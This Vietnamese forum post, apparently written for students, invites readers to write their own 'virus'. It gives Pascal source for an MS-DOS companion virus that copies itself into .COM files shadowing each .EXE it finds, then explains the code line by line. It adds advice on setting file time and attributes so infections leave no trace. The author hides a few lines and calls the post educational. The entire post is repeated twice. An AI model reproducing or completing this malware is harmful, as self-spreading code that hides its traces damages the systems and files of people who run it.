P/s:Hiện tại vẫn học kiến thức phổ thông, chúng ta được làm quen với Pascal, do đó mọi người thử nghịch tí và năng cao khả năng code của mình
KHỞI ĐẦU
Với vốn pascal hiện có, bạn có thể làm những gì? tại sao không bắt tay vào việc tao ra một con "virus" nhỏ cho riêng mình, từ đó sẽ kích thích bạn hiểu hơn về thao tác file cũng như lập trình hệ thống.
Dưới đây là ví dụ về một mẫu virus đơn giản, chưa có tính phá hoại, mới chỉ cài đặt khả năng lây lan dành cho các bạn tham khảo:
{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y- }
{$M 8192,0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
1. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete (NameOfVictim, Pos ('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign (VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem (Buffer,LengthOfVector);
23. BlockRead (VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem (Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete (NameOfVector,Pos ('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Thuc thi file EXE ban dau-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Giải thích :
Đễ lây nhiễm vào file mà không để lại dấu vết, các bạn nên tham khảo hàm GetFTime(); GetFAttr(); và SetFTime(); SetFAttr(); có trong unit DOS;
Phần khai báo biến:
Trích dẫn:
Mã:
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
-NameOfVector : tên của file đã nhiễm, được user chỉ định thực thi (VD: BOITOAN.EXE)
-NameOfVictim : tên của file .EXE tìm thấy, là đối tượng sẽ lây nhiễm (VD: PROGRAM.EXE)
-VECTOR, VICTIM: biến file dùng để thao tác 2 file nói trên
-LengthOfVector: kích thước file Vector
-Buffer: cung cấp vùng nhớ sẽ dùng để nạp file VECTOR;
Đến đây có một câu hỏi đặt ra là làm sao kiểm tra xem file đã nhiễm hay chưa mà xử lí. Nếu nhiễm rồi thì lây zô nữa làm gì , điều này liên quan tới việc tạo keygen để đánh dấu file (là chuỗi ký tự có tính chất đặc trương cho từng loại virus - các AVs có thể dựa vào đây để phát hiện ra mã virus) mà trong khuôn khổ bài viết này không đề cập đến.
Đầu tiên, Chương trình sẽ tìm một file .exe trong thư mục hiện hành (Lệnh 2) trả thông tin về cho biến SREC;
Nếu không có lỗi (lỗi sinh ra khi không có file .exe nào) thì gán tên file tìm được cho biến NameOfVictim (lệnh 10) giả sử ta được NameOfVictim='BAITAP.EXE' thì tiếp theo chuyển thành 'BAITAP.COM' (lệnh 11+12).
Mở file BAITAP.COM, nếu có lỗi thì có thể file trên chưa tồn tại (khi đó DosError<>0)
Nếu BAITAP.COM chưa tồn tại thì tiếp tục lệnh 16
-Mở file chủ, lấy kích thước (19 -> 21)
-Nạp file chủ vào vùng nhớ (22 -> 23)
-Tạo mới file BAITAP.COM rồi Ghi nội dung vùng nhớ vào file này (24 -> 25)
-Đóng file, ghi ra đĩa cứng (27)
-Xóa nội dung vùng nhớ, đề phòng phát hiện (28)
Như vậy, ta đã tạo đc một file BAITAP.COM có tên trùng với file BAITAP.EXE mà chương trình tìm thấy, nhưng nội dung chứa bên trong file .COM này chính là nội dung file Chủ --> Như thế file Chủ (là file đã nhiễm) đã được nhân bản.
Các câu lệnh còn lại là trao quyền thực thi cho file Chủ ban đầu theo yêu cầu của user.
Đoạn code trên nếu các bạn test sẽ không thành công vì có một số dòng mình đã giấu đi do bài viết chỉ mang tính học tập một cách thức lây lan của virus.
Như vậy, nếu bạn biên dịch ra file này là VIRUS.EXE rồi chạy nó,ta sẽ được:
-VIRUS tìm file .EXE trong thư mục hiện hành, có thể là chính bản thân nó.
Giả sử tìm thấy file PROGRAM.EXE
-Tạo ra file PROGRAM.COM là bản sao của virus
Ta nhắc lại một chút, trong DOS, thứ tự ưu tiên của các dạng file thi hành được xếp như sau: COM > EXE > BAT > ...
Như vậy, sau này khi user gỏ lệnh sau:
C:\>PROGRAM
thì file PROGRAM.COM (do virus tạo ra) sẽ được chạy chứ không phải là file PROGRAM.EXE
Như thế VIRUS sẽ có cơ hội được tiếp tục lấy lan.
Kết luận
Trên đây là code của một F-Virus chạy trên nền MS-DOS, song dễ bị phát hiện trên nền Windows.
Qua bài trên , ta có thể hiểu được cách thức lây nhiễm đơn giản là lợi dụng vào thứ tự ưu tiên của file .COM so với file .EXE
Nguồn [You must be registered and logged in to see this link.]
KHỞI ĐẦU
Với vốn pascal hiện có, bạn có thể làm những gì? tại sao không bắt tay vào việc tao ra một con "virus" nhỏ cho riêng mình, từ đó sẽ kích thích bạn hiểu hơn về thao tác file cũng như lập trình hệ thống.
Dưới đây là ví dụ về một mẫu virus đơn giản, chưa có tính phá hoại, mới chỉ cài đặt khả năng lây lan dành cho các bạn tham khảo:
{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y- }
{$M 8192,0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
1. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete (NameOfVictim, Pos ('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign (VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem (Buffer,LengthOfVector);
23. BlockRead (VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem (Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete (NameOfVector,Pos ('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Thuc thi file EXE ban dau-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Giải thích :
Đễ lây nhiễm vào file mà không để lại dấu vết, các bạn nên tham khảo hàm GetFTime(); GetFAttr(); và SetFTime(); SetFAttr(); có trong unit DOS;
Phần khai báo biến:
Trích dẫn:
Mã:
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
-NameOfVector : tên của file đã nhiễm, được user chỉ định thực thi (VD: BOITOAN.EXE)
-NameOfVictim : tên của file .EXE tìm thấy, là đối tượng sẽ lây nhiễm (VD: PROGRAM.EXE)
-VECTOR, VICTIM: biến file dùng để thao tác 2 file nói trên
-LengthOfVector: kích thước file Vector
-Buffer: cung cấp vùng nhớ sẽ dùng để nạp file VECTOR;
Đến đây có một câu hỏi đặt ra là làm sao kiểm tra xem file đã nhiễm hay chưa mà xử lí. Nếu nhiễm rồi thì lây zô nữa làm gì , điều này liên quan tới việc tạo keygen để đánh dấu file (là chuỗi ký tự có tính chất đặc trương cho từng loại virus - các AVs có thể dựa vào đây để phát hiện ra mã virus) mà trong khuôn khổ bài viết này không đề cập đến.
Đầu tiên, Chương trình sẽ tìm một file .exe trong thư mục hiện hành (Lệnh 2) trả thông tin về cho biến SREC;
Nếu không có lỗi (lỗi sinh ra khi không có file .exe nào) thì gán tên file tìm được cho biến NameOfVictim (lệnh 10) giả sử ta được NameOfVictim='BAITAP.EXE' thì tiếp theo chuyển thành 'BAITAP.COM' (lệnh 11+12).
Mở file BAITAP.COM, nếu có lỗi thì có thể file trên chưa tồn tại (khi đó DosError<>0)
Nếu BAITAP.COM chưa tồn tại thì tiếp tục lệnh 16
-Mở file chủ, lấy kích thước (19 -> 21)
-Nạp file chủ vào vùng nhớ (22 -> 23)
-Tạo mới file BAITAP.COM rồi Ghi nội dung vùng nhớ vào file này (24 -> 25)
-Đóng file, ghi ra đĩa cứng (27)
-Xóa nội dung vùng nhớ, đề phòng phát hiện (28)
Như vậy, ta đã tạo đc một file BAITAP.COM có tên trùng với file BAITAP.EXE mà chương trình tìm thấy, nhưng nội dung chứa bên trong file .COM này chính là nội dung file Chủ --> Như thế file Chủ (là file đã nhiễm) đã được nhân bản.
Các câu lệnh còn lại là trao quyền thực thi cho file Chủ ban đầu theo yêu cầu của user.
Đoạn code trên nếu các bạn test sẽ không thành công vì có một số dòng mình đã giấu đi do bài viết chỉ mang tính học tập một cách thức lây lan của virus.
Như vậy, nếu bạn biên dịch ra file này là VIRUS.EXE rồi chạy nó,ta sẽ được:
-VIRUS tìm file .EXE trong thư mục hiện hành, có thể là chính bản thân nó.
Giả sử tìm thấy file PROGRAM.EXE
-Tạo ra file PROGRAM.COM là bản sao của virus
Ta nhắc lại một chút, trong DOS, thứ tự ưu tiên của các dạng file thi hành được xếp như sau: COM > EXE > BAT > ...
Như vậy, sau này khi user gỏ lệnh sau:
C:\>PROGRAM
thì file PROGRAM.COM (do virus tạo ra) sẽ được chạy chứ không phải là file PROGRAM.EXE
Như thế VIRUS sẽ có cơ hội được tiếp tục lấy lan.
Kết luận
Trên đây là code của một F-Virus chạy trên nền MS-DOS, song dễ bị phát hiện trên nền Windows.
Qua bài trên , ta có thể hiểu được cách thức lây nhiễm đơn giản là lợi dụng vào thứ tự ưu tiên của file .COM so với file .EXE
Nguồn [You must be registered and logged in to see this link.]